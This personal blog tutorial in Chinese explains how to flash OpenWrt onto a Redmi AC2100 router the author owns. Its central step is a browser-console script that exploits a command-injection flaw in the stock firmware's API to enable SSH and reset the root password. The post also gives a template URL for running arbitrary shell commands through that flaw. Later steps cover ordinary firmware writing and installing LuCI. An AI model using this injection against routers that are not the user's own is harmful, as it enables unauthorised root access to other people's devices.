红米AC2100路由器刷Openwrt
LI Rui

最近暑假准备入手一台比较便宜的路由器用来刷Openwrt,实现一些路由器功能自定义。原本使用的华为AX3 Pro受制于芯片等原因,尽管社区有人在讨论可行性,可惜结果是暂时无法刷机。

这次选择的是Xiaomi Redmi Router AC2100,搭载了一颗联发科MT7621芯片,32位880MHz双核,虽然芯片支持USB 3.0,5端口千兆以太网,不过设备只导出了1个WAN口和3个LAN口。内存有128MB,装上一些插件后仅可用10-20MB,算是比较吃紧。闪存使用的是ESMT的128MB闪存颗粒,实测没有坏块,不过听过部分用户收到的是东芝带有坏块的颗粒,这里需要注意。

在某东购买时领了30元券,实付139,上午下单下午就送达了。

刷机步骤

本文参考自Openwrt官方WiKi:Xiaomi Redmi Router AC2100,并实测有效,需要的全部文件:

上电后连接默认WiFi或者有线连接,会自动跳转到miwifi.com配置界面,如果页面底部提示的系统版本非2.0.23的话,需要先用小米WiFi官网下载的路由修复工具去刷机,刷机流程在修复工具中有说明。

接下来就需要进行网络配置,似乎无线桥接会在扫描WiFi时返回502,应该是系统的问题。因此这里我把小米路由的WAN连接到华为的LAN口,自动配置好网络后需要设置登录密码,似乎无法在配置好网络前设置密码。

设置完登录密码,我们登录后台,此时你的URL应为:

1
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/web/home#router

<STOK>是一个用来鉴权的字符串,每个人应该不同。在同一网页下,我们打开浏览器调试工具(快捷键F12),选择Console,复制下面的代码并回车:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
function getSTOK() {
let match = location.href.match(/;stok=(.*?)\//);
if (!match) {
return null;
}
return match[1];
}

function execute(stok, command) {
command = encodeURIComponent(command);
let path = `/cgi-bin/luci/;stok=${stok}/api/misystem/set_config_iotdev?bssid=SteelyWing&user_id=SteelyWing&ssid=-h%0A${command}%0A`;
console.log(path);
return fetch(new Request(location.origin + path));
}

function enableSSH() {
stok = getSTOK();
if (!stok) {
console.error('stok not found in URL');
return;
}
console.log(`stok = "${stok}"`);

password = prompt('Input new SSH password');
if (!password) {
console.error('You must input password');
return;
}

execute(stok,
`
nvram set ssh_en=1
nvram commit
sed -i 's/channel=.*/channel=\\"debug\\"/g' /etc/init.d/dropbear
/etc/init.d/dropbear start
`
)
.then((response) => response.text())
.then((text) => console.log(text));
console.log('New SSH password: ' + password);
execute(stok, `echo -e "${password}\\n${password}" | passwd root`)
.then((response) => response.text())
.then((text) => console.log(text));
}

enableSSH();

这里会弹窗让你设置SSH密码(8位字母数字组合,勿使用特殊字符),并启动SSH服务器。实际上这里是利用了RCE漏洞,执行了以下代码:

1
2
3
4
nvram set ssh_en=1;
nvram commit;
sed -i 's/channel=.*/channel=\"debug\"/g' /etc/init.d/dropbear;
/etc/init.d/dropbear start;

1
echo -e "<PASSWORD>\n<PASSWORD>" | passwd root

如果需要执行其他代码可以自行替换URL编码好的代码:

1
http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%0A<your encoded shell code>%0A

此时,你的路由器上的SSH服务器应该已经被启动,root用户的密码也被设置成了你指定的密码。我们打开终端输入ssh root@192.168.31.1连接上去即可,密码是刚刚设置的密码。

在shell中,我们执行下面的命令:

1
2
3
4
5
6
7
8
9
# Enable uart and bootdelay, useful for testing or recovery if you have an uart adapter!
nvram set uart_en=1
nvram set bootdelay=5

# Set kernel1 as the booting kernel
nvram set flag_try_sys1_failed=1

# Commit our nvram changes
nvram commit

这里我们启用了UART和延迟启动来方便调试。

下面我们需要把从Openwrt的网站上下载的固件传到路由器上传,如果你是Linux且自带了scp,在固件文件夹下面执行下面的两条命令:

1
2
scp openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin root@192.168.31.1:/tmp
scp openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin root@192.168.31.1:/tmp

如果是Windows安装了PSCP,替换ROUTERPW为之前设置的密码:

1
2
pscp -scp -P 22 -pw ROUTERPW openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin root@192.168.31.1:/tmp
pscp -scp -P 22 -pw ROUTERPW openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin root@192.168.31.1:/tmp

或者你也能在路由器上直接下载固件:

1
2
3
cd /tmp
wget http://openwrt.tetaneutral.net/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin
wget http://openwrt.tetaneutral.net/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin

成功将两个文件放到/tmp下后就可以刷机了,通过SSH连接上路由器,执行:

1
cd /tmp

切换到文件所在目录。

1
mtd write openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin kernel1

刷入内核。

1
mtd -r write openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin rootfs0

刷入根文件系统。

这条命令执行完成后,路由器会重启,并成功进入Openwrt系统。

安装LuCI

由于我们使用的是快照版本,需要手动安装去安装网页管理界面。连接AC2100的WAN口到上级路由器的LAN口,再用第二根网线连接电脑和路由器,SSH连接上路由器。此时路由器IP已经变为192.168.1.1,用户名root,无密码。

安装LuCI我们执行下面的命令:

1
2
root@OpenWrt:~# opkg update
root@OpenWrt:~# opkg install luci

安装汉化包我们执行下面的命令:

1
root@OpenWrt:~# opkg install luci-i18n-base-zh-cn

之后浏览器访问路由器IP就能配置了。

  • 本文标题:红米AC2100路由器刷Openwrt
  • 本文作者:LI Rui
  • 创建时间:2021-07-13 16:43:25
  • 本文链接:https://www.lirui.tech/post/2021/10ef05b32a8c.html
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-SA 许可协议。转载请注明出处!